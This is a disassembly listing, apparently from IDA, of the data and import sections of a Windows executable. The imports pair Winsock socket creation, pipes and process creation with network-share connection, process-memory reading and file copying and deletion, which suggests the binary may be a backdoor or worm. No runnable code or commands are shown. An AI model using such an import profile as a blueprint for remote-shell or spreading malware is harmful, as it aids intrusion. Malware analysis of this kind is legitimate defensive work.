___crtLCMapStringW+26r ; ___crtLCMapStringW+4Bw ... byte_4F38AC db 1 ; DATA XREF: sub_40E2B4r sub_40E2B4+9w align 10h dword_4F38B0 dd 0 ; DATA XREF: sub_437DE0+90w ; sub_437DE0+A5w ... dword_4F38B4 dd 0 ; DATA XREF: sub_437F70+1C4w ; sub_437F70+1EDw ... align 10h dword_4F38C0 dd 941F58h ; DATA XREF: ___initstdio+EDr ; ___initstdio+109r ... dd 3Fh dup(0) dword_4F39C0 dd 20h ; DATA XREF: __close+7r __read+7r ... dword_4F39C4 dd 0 ; DATA XREF: __strcmpi+5Ar ; __strupr+68r ... dword_4F39C8 dd 0 ; DATA XREF: __strcmpi:loc_4211C3w ; __strcmpi:loc_4211D7w ... dword_4F39CC dd 4E4h ; DATA XREF: __setmbcp+22r ; __setmbcp+14Aw ... word_4F39D0 dw 0 ; DATA XREF: __setmbcp+19Aw ; __setmbcp+2F3w ... align 4 dd 2 dup(0) dword_4F39DC dd 0 ; DATA XREF: __setmbcp+150w ; __setmbcp+2C2w ... byte_4F39E0 db 0 ; DATA XREF: _setSBUpLow+1CEw ; _setSBUpLow+21Aw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4F3AE0 db 0 ; DATA XREF: __setmbcp+ABw ; __setmbcp+1F4w ... byte_4F3AE1 db 0 ; DATA XREF: __splitpath+92r ; __setmbcp+129r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4F3BE4 dd 0 ; DATA XREF: __setmbcp+169w ; __setmbcp+205w ... dword_4F3BE8 dd 940000h ; DATA XREF: sub_41D910+8Dr ; sub_41D910+FBr ... dword_4F3BEC dd 1 ; DATA XREF: sub_41D910:loc_41D941r ; sub_41D910:loc_41D9AEr ... dword_4F3BF0 dd 0 ; DATA XREF: ___sbh_heap_init+51w ; ___sbh_alloc_new_region+9r ... dword_4F3BF4 dd 0 ; DATA XREF: sub_424410+484r ; sub_424410+4B3r ... dword_4F3BF8 dd 0 ; DATA XREF: ___sbh_heap_init+37w ; sub_424410+5C1w ... align 10h ; void *Dst Dst dd 0 ; DATA XREF: ___sbh_heap_init+3Dw ; sub_424410+477r ... dword_4F3C04 dd 0 ; DATA XREF: ___sbh_heap_init+47w ; ___sbh_find_block+6r ... dword_4F3C08 dd 0 ; DATA XREF: ___sbh_heap_init+16w ; ___sbh_heap_init+1Br ... dword_4F3C0C dd 0 ; DATA XREF: __heap_alloc_base+2Fr ; sub_423880+6Dr ... dword_4F3C10 dd 0 ; DATA XREF: .text:00422854r ; .text:0042285Fw ... dword_4F3C14 dd 943250h ; DATA XREF: ___initstdio+48w ; ___initstdio+4Dr ... align 10h dword_4F3C20 dd 400h dup(0) ; DATA XREF: .data:off_451958o ; .data:00451960o dword_4F4C20 dd 200h ; DATA XREF: ___initstdio+4r ; ___initstdio+Dw ... dword_4F4C24 dd 142340h ; DATA XREF: start+B9w ; __wincmdln:loc_42F442r ... dword_4F4C28 dd 1 ; DATA XREF: __setenvp+13Bw _getenv+Er dword_4F4C2C dd 1 ; DATA XREF: ___initmbctable+3r ; ___initmbctable+16w ... dword_4F4C30 dd 94241Ch ; DATA XREF: _doexit+45r __onexit+19r ... dword_4F4C34 dd 942410h ; DATA XREF: _doexit+3Cr _doexit+5Ar ... dword_4F4C38 dd 0 ; DATA XREF: .text:0041DB74r ; .text:0041DB7Fw ... byte_4F4C3C db 1 ; DATA XREF: sub_43AB40+5r ; sub_43AB40+11r ... _data ends ; Section 4. (virtual address 000F5000) ; Virtual size : 00000F4E ( 3918.) ; Section size in file : 00000F4E ( 3918.) ; Offset to raw data for section: 000F5000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 4F5000h dd 0F5270h, 2 dup(0) dd 0F556Eh, 0F54F4h, 0F5278h, 2 dup(0) dd 0F5584h, 0F54FCh, 0F5050h, 2 dup(0) dd 0F5F40h, 0F52D4h, 5 dup(0) dd 0F598Eh, 0F5F26h, 0F5F14h, 0F5F02h, 0F5EF0h, 0F5EE0h dd 0F5ECAh, 0F5EB4h, 0F5EA2h, 0F5E92h, 0F5E82h, 0F5E64h dd 0F5E52h, 0F5E40h, 0F5E2Ch, 0F5E1Ch, 0F5E0Eh, 0F5DFCh dd 0F5DE2h, 0F5DCAh, 0F5DB0h, 0F5D96h, 0F5D7Ah, 0F5D6Ah dd 0F5D5Ah, 0F5590h, 0F559Eh, 0F55ACh, 0F55BEh, 0F55D4h dd 0F55EAh, 0F55F2h, 0F5602h, 0F5610h, 0F561Eh, 0F5634h dd 0F5644h, 0F5650h, 0F5666h, 0F567Ch, 0F5690h, 0F56A6h dd 0F56B6h, 0F56C6h, 0F56D8h, 0F56E8h, 0F56F4h, 0F5704h dd 0F5716h, 0F572Ah, 0F573Ch, 0F574Ch, 0F575Ah, 0F5772h dd 0F578Ah, 0F57B2h, 0F57CAh, 0F57D6h, 0F57E6h, 0F57F2h dd 0F5800h, 0F5814h, 0F5826h, 0F583Ah, 0F5848h, 0F585Ah dd 0F586Ch, 0F587Ah, 0F5886h, 0F589Eh, 0F58B8h, 0F58C8h dd 0F58DAh, 0F58ECh, 0F5904h, 0F591Eh, 0F593Ah, 0F594Ah dd 0F5964h, 0F5980h, 0F59A8h, 0F59B4h, 0F59C0h, 0F59D2h dd 0F59E4h, 0F59F8h, 0F5A08h, 0F5A1Ah, 0F5A2Ah, 0F5A38h dd 0F5A4Ah, 0F5A5Ah, 0F5A70h, 0F5A7Eh, 0F5A8Ch, 0F5AA8h dd 0F5ABEh, 0F5AD4h, 0F5AE0h, 0F5AF6h, 0F5B06h, 0F5B1Ah dd 0F5B30h, 0F5B40h, 0F5B50h, 0F5B60h, 0F5B6Ch, 0F5B86h dd 0F5B96h, 0F5BAEh, 0F5BC6h, 0F5BD8h, 0F5BEAh, 0F5BF8h dd 0F5C06h, 0F5C16h, 0F5C2Ch, 0F5C48h, 0F5C58h, 0F5C66h dd 0F5C74h, 0F5C84h, 0F5C9Eh, 0F5CACh, 0F5CBAh, 0F5CD0h dd 0F5CDEh, 0F5CEAh, 0F5CF4h, 0F5D04h, 0F5D12h, 0F5D26h dd 0F5D32h, 0F5D3Ch, 0F5D48h, 0 dd 0F5558h, 0 dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h dd 0F5576h, 8000000Bh, 80000009h, 80000004h, 80000010h dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h dd 80000006h, 80000034h, 0 dword_4F52D4 dd 77E78147h ; DATA XREF: sub_417A8B+BCr ; .text:0043AD6Ar dword_4F52D8 dd 77E6BD68h ; DATA XREF: ___crtsetenv+2C5r ; .text:0043AF44r dword_4F52DC dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA+41r ; ___crtCompareStringA+3DAr ... dword_4F52E0 dd 77E762D0h ; DATA XREF: ___crtCompareStringA+69r ; ___crtCompareStringA+D9r ... dword_4F52E4 dd 77E78723h ; DATA XREF: ___crtGetLocaleInfoW+37r ; ___crtGetLocaleInfoW+8Br ... dword_4F52E8 dd 77E70192h ; DATA XREF: __chsize_lk+1D8r ; .text:0043AF2Cr dword_4F52EC dd 77E79C94h ; DATA XREF: _GetLcidFromDefault+12r ; .text:0043AF26r dword_4F52F0 dd 77E6363Bh ; DATA XREF: _GetLcidFromLangCountry+7Ar ; _GetLcidFromLanguage+53r ... dword_4F52F4 dd 77E75243h ; DATA XREF: ___get_qualified_locale+142r ; .text:0043AF1Ar dword_4F52F8 dd 77E752B8h ; DATA XREF: ___get_qualified_locale+15Cr ; .text:0043AF14r dword_4F52FC dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+Fr ; .text:0043AF0Er dword_4F5300 dd 77E7C9E7h ; DATA XREF: __CxxSetUnhandledExceptionFilter(void)+8r ; __CxxRestoreUnhandledExceptionFilter(void)+9r ... dword_4F5304 dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Cr ; ___crtGetStringTypeA+19Er ... dword_4F5308 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+61r ; ___crtGetStringTypeA+AAr ... dword_4F530C dd 77E73FF9h ; DATA XREF: unknown_libname_25+7Fr ; .text:0043AEF6r dword_4F5310 dd 77E7FF2Eh ; DATA XREF: __set_osfhnd+58r ; __set_osfhnd+66r ... dword_4F5314 dd 77E78406h ; DATA XREF: __ioinit+1E6r ; __ioinit+29Br ... dword_4F5318 dd 77E7C931h ; DATA XREF: __ioinit+31Ar ; .text:0043AEE4r dword_4F531C dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+1Dr ; ___crtGetEnvironmentStringsA+6Dr ... dword_4F5320 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_42FB88r ; ___crtGetEnvironmentStringsA+171r ... dword_4F5324 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+108r ; ___crtGetEnvironmentStringsA+150r ... dword_4F5328 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+1E6r ; ___crtGetEnvironmentStringsA+208r ... dword_4F532C dd 77EB9A84h ; DATA XREF: __XcptFilter+37r ; .text:0043AEC6r dword_4F5330 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+41r ; ___crtLCMapStringA+1A5r ... dword_4F5334 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+69r ; ___crtLCMapStringA+C0r ... dword_4F5338 dd 77E75CB5h ; DATA XREF: sub_401317+DFr ; WinMain(x,x,x,x)+7Ar ... dword_4F533C dd 77E77963h ; DATA XREF: sub_401317+B8r ; WinMain(x,x,x,x)+2DBr ... dword_4F5340 dd 77E61BB8h ; DATA XREF: sub_401317+A7r ; WinMain(x,x,x,x)+2C3r ... dword_4F5344 dd 77E7A099h ; DATA XREF: sub_401317+83r ; WinMain(x,x,x,x)+DAr ... dword_4F5348 dd 77E704FCh ; DATA XREF: sub_401317+74r ; WinMain(x,x,x,x)+C4r ... dword_4F534C dd 77E61BE6h ; DATA XREF: sub_401317+29r ; WinMain(x,x,x,x)+1F4r ... dword_4F5350 dd 77E7AC37h ; DATA XREF: WinMain(x,x,x,x)+3C1r ; sub_401CC7+7ACr ... dword_4F5354 dd 77E73628h ; DATA XREF: WinMain(x,x,x,x)+33Br ; sub_401CC7+7927r ... dword_4F5358 dd 77E706B7h ; DATA XREF: WinMain(x,x,x,x)+274r ; sub_417DE6+15r ... dword_4F535C dd 77E80656h ; DATA XREF: WinMain(x,x,x,x)+267r ; .text:0043AC56r dword_4F5360 dd 77F5157Dh ; DATA XREF: WinMain(x,x,x,x)+1D8r ; WinMain(x,x,x,x)+3E6r ... dword_4F5364 dd 77E6BD13h ; DATA XREF: WinMain(x,x,x,x):loc_4015D6r ; .text:0043AC62r dword_4F5368 dd 77E70396h ; DATA XREF: WinMain(x,x,x,x)+1B5r ; WinMain(x,x,x,x)+221r ... dword_4F536C dd 77E74CABh ; DATA XREF: WinMain(x,x,x,x)+19Er ; sub_410134+110r ... dword_4F5370 dd 77E79F93h ; DATA XREF: WinMain(x,x,x,x)+D3r ; sub_409DD4+2r ... dword_4F5374 dd 77E79D5Bh ; DATA XREF: WinMain(x,x,x,x)+6Br ; WinMain(x,x,x,x)+311r ... dword_4F5378 dd 77E7C2C4h ; DATA XREF: WinMain(x,x,x,x)+64r ; .text:0043AC80r dword_4F537C dd 77E7751Ah ; DATA XREF: WinMain(x,x,x,x)+2Cr ; sub_401CC7+2551r ... dword_4F5380 dd 77E75CEBh ; DATA XREF: sub_401CC7+7B9Fr ; sub_40B891+2Br ... dword_4F5384 dd 77E6AD34h ; DATA XREF: sub_401CC7+6A2Cr ; sub_4190F6+35r ... dword_4F5388 dd 77E71AFEh ; DATA XREF: sub_401CC7+67F6r ; .text:0043AC98r dword_4F538C dd 77E805D8h ; DATA XREF: sub_409DD4+13Ar ; sub_409DD4:loc_40A2E2r ... dword_4F5390 dd 77E7A5FDh ; DATA XREF: sub_409DD4+11r ; sub_417A8B+60r ... dword_4F5394 dd 77E65F4Ch ; DATA XREF: sub_40B182+26r ; sub_41A460+34r ... dword_4F5398 dd 77E7513Ch ; DATA XREF: sub_40B228+22r ; ___get_qualified_locale+18r ... dword_4F539C dd 77E7C657h ; DATA XREF: sub_40B29D+21r ; sub_41927E+32r ... dword_4F53A0 dd 77E73C49h ; DATA XREF: sub_40B7C1+4Ar ; sub_40BF01+1AFr ... dword_4F53A4 dd 77F7E300h ; DATA XREF: sub_40C951+142r ; __unlock_file+35r ... dword_4F53A8 dd 77F7E21Fh ; DATA XREF: sub_40C951+D7r ; __lock_file+35r ... dword_4F53AC dd 77E7C706h ; DATA XREF: sub_40CB69+77r ; .text:0043ACCEr dword_4F53B0 dd 77F53275h ; DATA XREF: sub_40CB69+6Br ; sub_40CB69+22Fr ... dword_4F53B4 dd 77E79D8Ch ; DATA XREF: sub_40E2D9+94r ; sub_40E3C7+184r ... dword_4F53B8 dd 77E737DEh ; DATA XREF: sub_40E3C7+43Dr ; .text:0043ACE0r dword_4F53BC dd 77E78B82h ; DATA XREF: sub_40E3C7+1ACr ; sub_40E3C7+49Cr ... dword_4F53C0 dd 77E7A837h ; DATA XREF: sub_40E3C7+AAr ; sub_410134+1CBr ... dword_4F53C4 dd 77E616B4h ; DATA XREF: sub_40EF74+19Br ; sub_411756+115r ... dword_4F53C8 dd 77E79CE3h ; DATA XREF: sub_40EF74+111r ; sub_4119A0+77r ... dword_4F53CC dd 77E79C90h ; DATA XREF: sub_40EF74+FDr ; sub_40EF74+10Ar ... dword_4F53D0 dd 77E7727Ah ; DATA XREF: sub_40EF74+74r ; sub_4118A7+23r ... dword_4F53D4 dd 77E64106h ; DATA XREF: sub_40FFB1+A0r ; sub_41B92C+1B6r ... dword_4F53D8 dd 77E64006h ; DATA XREF: sub_40FFB1+8Cr ; sub_41B92C+19Fr ... dword_4F53DC dd 77E793EFh ; DATA XREF: sub_410134+1F5r ; sub_410A71+38r ... dword_4F53E0 dd 77E78EAAh ; DATA XREF: sub_4103EB+5ECr ; sub_41793D+BAr ... dword_4F53E4 dd 77E79424h ; DATA XREF: sub_4103EB+280r ; sub_417DE6+135r ... dword_4F53E8 dd 77E794BFh ; DATA XREF: sub_4103EB+272r ; sub_417DE6+123r ... dword_4F53EC dd 77E75E67h ; DATA XREF: sub_4103EB+212r ; sub_4103EB+5DBr ... dword_4F53F0 dd 77E75D9Eh ; DATA XREF: sub_4103EB+201r ; sub_41793D+26r ... dword_4F53F4 dd 77E78C81h ; DATA XREF: sub_410A71+6Cr ; sub_416980+259r ... dword_4F53F8 dd 77E76968h ; DATA XREF: sub_4114CE+5Fr ; .text:004307CAr ... dword_4F53FC dd 77E74C59h ; DATA XREF: sub_411756+C7r ; .text:0043AD46r dword_4F5400 dd 77EC7C51h ; DATA XREF: sub_411B2B+5Er ; .text:0043AD4Cr dword_4F5404 dd 77E70F89h ; DATA XREF: sub_412694+Er ; sub_415C3F+Dr ... dword_4F5408 dd 77E802FCh ; DATA XREF: sub_413589+18Cr ; sub_413589+2D4r ... dword_4F540C dd 77E6D75Bh ; DATA XREF: sub_413589+182r ; sub_4142EC+FFr ... dword_4F5410 dd 77E80618h ; DATA XREF: sub_417A8B+170r ; sub_419471+D4r ... dword_4F5414 dd 77F51597h ; DATA XREF: sub_417C5D+41r ; sub_417C5D+F5r ... dword_4F5418 dd 77F516F8h ; DATA XREF: sub_417C5D+21r ; sub_417DE6+4Ar ... dword_4F541C dd 77E77CB7h ; DATA XREF: sub_417C5D+10r ; sub_417DE6+40r ... dword_4F5420 dd 77E7F01Ah ; DATA XREF: sub_417DE6+88r ; sub_417F8D+55r ... dword_4F5424 dd 77E61A54h ; DATA XREF: sub_417DE6+56r ; sub_417F8D+97r ... dword_4F5428 dd 77E7C3A5h ; DATA XREF: sub_417DE6+34r ; sub_417F8D+2Er ... dword_4F542C dd 77E76A60h ; DATA XREF: sub_418E65+2Dr ; .text:0043AD94r dword_4F5430 dd 77E71B14h ; DATA XREF: sub_418EEF+26r ; .text:0043AD9Ar dword_4F5434 dd 77E7166Fh ; DATA XREF: sub_418EEF+1Dr ; .text:0043ADA0r dword_4F5438 dd 77E75090h ; DATA XREF: sub_418F2A+6Cr ; .text:0043ADA6r dword_4F543C dd 77E74D76h ; DATA XREF: sub_418F2A+39r ; .text:0043ADACr dword_4F5440 dd 77E77797h ; DATA XREF: sub_418F2A+28r ; .text:0043ADB2r dword_4F5444 dd 77E7011Ah ; DATA XREF: sub_418FAF+96r ; .text:0043ADB8r dword_4F5448 dd 77E73CE2h ; DATA XREF: sub_418FAF+60r ; .text:0043ADBEr dword_4F544C dd 77E668D9h ; DATA XREF: sub_4190F6+15Dr ; .text:0043ADC4r dword_4F5450 dd 77E79924h ; DATA XREF: sub_419A25+13r ; ___crtLCMapStringA+2A5r ... dword_4F5454 dd 77E77CCEh ; DATA XREF: sub_419AF7+Fr ; __mbstowcs_lk+BFr ... dword_4F5458 dd 77E76A2Eh ; DATA XREF: sub_41A589+DEr ; .text:0043ADD6r dword_4F545C dd 77E7FF65h ; DATA XREF: sub_41A9F0+5Ar ; .text:0043ADDCr dword_4F5460 dd 77EB7624h ; DATA XREF: sub_41A9F0+3Dr ; .text:0043ADE2r dword_4F5464 dd 77E6C29Dh ; DATA XREF: sub_41B081+1EAr ; .text:0043ADE8r dword_4F5468 dd 77E76C1Ah ; DATA XREF: sub_41B92C+1CFr ; .text:0043ADEEr dword_4F546C dd 77E73196h ; DATA XREF: __CrtIsValidPointer+2Ar ; ___sbh_heap_check+19r ... dword_4F5470 dd 77E7339Ch ; DATA XREF: __CrtIsValidPointer+12r ; sub_4331E0+13r ... dword_4F5474 dd 77E6C924h ; DATA XREF: sub_41D910+93r ; sub_41D910+102r ... dword_4F5478 dd 77F6183Eh ; DATA XREF: sub_43AE06r dword_4F547C dd 77E76E3Dh ; DATA XREF: _time+9Fr __tzset_lk+5Er ... dword_4F5480 dd 77E61608h ; DATA XREF: _time+17r .text:0043AE12r dword_4F5484 dd 77E778C5h ; DATA XREF: __strupr+76r __strupr+B6r ... dword_4F5488 dd 77E777EFh ; DATA XREF: __strupr+62r _tolower+2Cr ... dword_4F548C dd 77E6177Ah ; DATA XREF: start+E2r __ioinit+87r ... dword_4F5490 dd 77E7C938h ; DATA XREF: start+B3r .text:0043AE2Ar dword_4F5494 dd 77E7C486h ; DATA XREF: start+26r .text:0043AE30r dword_4F5498 dd 77EB36A5h ; DATA XREF: sub_422760+3r ; .text:0043AE36r dword_4F549C dd 77E79C3Dh ; DATA XREF: __CrtSetReportFile+3Er ; __CrtSetReportFile+58r ... dword_4F54A0 dd 77E9BD34h ; DATA XREF: __CrtDbgReport+102r ; __CrtDbgReport+2F3r ... dword_4F54A4 dd 77E79908h ; DATA XREF: __mtinitlocks+9r ; __mtinitlocks+16r ... dword_4F54A8 dd 77EB8503h ; DATA XREF: __lockerr_exit+9r ; .text:0043AE4Er dword_4F54AC dd 77F5722Fh ; DATA XREF: sub_423880+DAr ; sub_423880+1BBr ... dword_4F54B0 dd 77E79E34h ; DATA XREF: sub_424410+4A8r ; sub_424410+545r ... dword_4F54B4 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+A3r ; ___sbh_alloc_new_group+A7r ... dword_4F54B8 dd 77E7AC5Eh ; DATA XREF: sub_426EF0+5Fr ; .text:0043AE66r dword_4F54BC dd 77E76E0Bh ; DATA XREF: sub_427120+57r ; sub_427120+7Cr ... dword_4F54C0 dd 77E7C726h ; DATA XREF: sub_427120+14r ; .text:0043AE72r dword_4F54C4 dd 77E77CC4h ; DATA XREF: __mtinit+64r __getptd+66r ... dword_4F54C8 dd 77E79B39h ; DATA XREF: __mtinit+4Ar __getptd+50r ... dword_4F54CC dd 77E7C5B4h ; DATA XREF: __mtinit+9r ; .text:0043AE84r dword_4F54D0 dd 77E72B29h ; DATA XREF: __mtterm+17r ; .text:0043AE8Ar dword_4F54D4 dd 77F51587h ; DATA XREF: __getptd+8Br ; .text:0043AE90r dword_4F54D8 dd 77E78B61h ; DATA XREF: __getptd+15r ; __freeptd+1Cr ... dword_4F54DC dd 77E73163h ; DATA XREF: .text:00429303r ; .text:0043AE9Cr dword_4F54E0 dd 77E7849Fh ; DATA XREF: __setmbcp+1C7r ; _setSBUpLow+17r ... dword_4F54E4 dd 77E7A13Fh ; DATA XREF: _getSystemCP+35r ; .text:0043AEA8r dword_4F54E8 dd 77E6C703h ; DATA XREF: _getSystemCP+1Dr ; .text:0043AEAEr dword_4F54EC dd 77E6D706h ; DATA XREF: __raise_exc+35Ar ; .text:0043AEB4r ... dd 0 dword_4F54F4 dd 71B2ACCBh ; DATA XREF: sub_43AB96r dd 0 dword_4F54FC dd 71AB4122h ; DATA XREF: sub_4155C6+D4r ; .text:0043AC14r dword_4F5500 dd 71AB1746h ; DATA XREF: sub_4130E1+1DEr ; .text:0043AC0Er dword_4F5504 dd 71AB401Ch ; DATA XREF: sub_4130E1+21Br ; sub_4130E1+243r ... dword_4F5508 dd 71AB1836h ; DATA XREF: sub_40FA39+6Er ; sub_40FAB6+8Er ... dword_4F550C dd 71AB41DAh ; DATA XREF: sub_40F402+4Ar ; sub_40FA39+15r ... dword_4F5510 dd 71AB3F8Dh ; DATA XREF: sub_40F402+5Ar ; .text:0043ABF6r dword_4F5514 dd 71AB155Ah ; DATA XREF: sub_40F402+8Dr ; sub_414146+70r ... dword_4F5518 dd 71AB3ECEh ; DATA XREF: sub_40F402+B5r ; .text:0043ABEAr dword_4F551C dd 71AB5DE2h ; DATA XREF: sub_40F402+C9r ; .text:0043ABE4r dword_4F5520 dd 71AB868Dh ; DATA XREF: sub_40F402+171r ; .text:0043ABDEr dword_4F5524 dd 71AB5A01h ; DATA XREF: sub_4156AF+20r ; .text:0043AC1Ar dword_4F5528 dd 71AB12F8h ; DATA XREF: sub_40E8CF+27r ; sub_40EA11+27r ... dword_4F552C dd 71AB1746h ; DATA XREF: sub_40E8CF+36r ; sub_40EA11+36r ... dword_4F5530 dd 71AB3E5Dh ; DATA XREF: sub_40E8CF+59r ; sub_40EA11+59r ... dword_4F5534 dd 71AB5690h ; DATA XREF: sub_40E8CF+6Ar ; sub_40EA11+6Ar ... dword_4F5538 dd 71AB1A6Dh ; DATA XREF: sub_40E8CF+E0r ; sub_40EA11+E0r ... dword_4F553C dd 71AB3C22h ; DATA XREF: sub_40DB0C+AFr ; sub_40E8CF+45r ... dword_4F5540 dd 71AB1AF4h ; DATA XREF: sub_40D839+12r ; sub_40E8CF+C3r ... dword_4F5544 dd 71AB1890h ; DATA XREF: sub_40D69B+4Cr ; sub_40F402+106r ... dword_4F5548 dd 71AB1B7Bh ; DATA XREF: sub_43ABA2r dword_4F554C dd 71AB157Eh ; DATA XREF: sub_401CC7+2F9Dr ; .text:0043AB9Cr dword_4F5550 dd 71AB2BBFh ; DATA XREF: .text:0040EB12r ; .text:0043ABD8r align 8 db 6 align 2 aWnetaddconne_1 db 'WNetAddConnection2A',0 aMpr_dll_0 db 'MPR.dll',0 aA_2 db 'A',0 aWsasocketa_0 db 'WSASocketA',0 align 4 aWs2_32_dll_0 db 'WS2_32.dll',0 align 10h db '',0 aExitprocess db 'ExitProcess',0 a4_0 db '4',0 aClosehandle db 'CloseHandle',0 aF_2 db 'f',0 aCreateprocessa db 'CreateProcessA',0 align 2 dw 17Dh aGetmodulefilen db 'GetModuleFileNameA',0 align 4 db 0C1h ; db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 356h aSleep db 'Sleep',0 aO_1 db 'o',0 aCreatethread db 'CreateThread',0 align 2 aG_1 db '',0 aDeletefilea db 'DeleteFileA',0 dd 704F0286h, 72506E65h, 7365636Fh, 1430073h aGetcurrentproc db 'GetCurrentProcessId',0 db 71h ; q db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 aC_7 db 'C',0 aCopyfilea db 'CopyFileA',0 db 19h db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 15Eh aGetfileattribu db 'GetFileAttributesA',0 align 4 db 7Fh ; db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 10h db 90h ; db 3, 57h, 61h aItforsingleobj db 'itForSingleObject',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 2 dw 1DFh aGettickcount db 'GetTickCount',0 align 2 dw 35Fh aTerminatethrea db 'TerminateThread',0 dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h dd 6C61636Fh, 666E4965h, 416Fh, 654701E9h, 72655674h, 6E6F6973h dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aS_40 db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 224h aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 aB_1 db '',0 aDeletecritical db 'DeleteCriticalSection',0 dw 3A4h aWritefile db 'WriteFile',0 aO_2 db 'O',0 aCreateeventa db 'CreateEventA',0 align 2 dw 2B5h aReadfile_0 db 'ReadFile',0 align 2 aS_41 db 'S',0 aCreatefilea db 'CreateFileA',0 dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h dd 63696C70h, 48657461h, 6C646E61h, 1420065h aGetcurrentpr_0 db 'GetCurrentProcess',0 aE_1 db 'e',0 aCreatepipe db 'CreatePipe',0 align 4 dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h aFiletimetosyst db 'FileTimeToSystemTime',0 align 2 db '',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db '',0 aFindnextfilea db 'FindNextFileA',0 db '',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 31Bh aSetfilepointer db 'SetFilePointer',0 align 4 db 0EEh ; db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 db 8Eh ; db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 0FCh aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 2 dw 173h aGetlocaltime db 'GetLocalTime',0 align 2 dw 2A3h aQueryperform_1 db 'QueryPerformanceCounter',0 db 0A4h ; db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 dd 724600F8h, 694C6565h, 72617262h, 1590079h aGetenvironment db 'GetEnvironmentVariableW',0 db 16h db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 10h db 2, 48h, 65h aApalloc db 'apAlloc',0 db 0A3h ; db 1, 47h, 65h aTprocessheap db 'tProcessHeap',0 align 2 dw 389h aVirtualqueryex db 'VirtualQueryEx',0 align 4 db 0B8h ; db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h dd 5670614Dh, 4F776569h, 6C694666h, 540065h aCreatefilemapp db 'CreateFileMappingA',0 align 10h db 1Fh db 3, 53h, 65h aTfiletime db 'tFileTime',0 dw 165h aGetfiletime db 'GetFileTime',0 db '',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db 94h ; db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 275h aMultibytetowid db 'MultiByteToWideChar',0 db 0C3h ; db 3, 6Ch, 73h aTrcmpia db 'trcmpiA',0 db 5Ah ; Z db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 291h aPeeknamedpipe db 'PeekNamedPipe',0 dw 178h aGetlogicaldr_0 db 'GetLogicalDrives',0 align 2 dw 204h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h db 36h ; 6 db 2, 49h, 73h aBadwriteptr db 'BadWritePtr',0 db 33h ; 3 db 2, 49h, 73h aBadreadptr db 'BadReadPtr',0 align 10h db 20h db 2, 48h, 65h aApvalidate db 'apValidate',0 align 10h db 0D7h 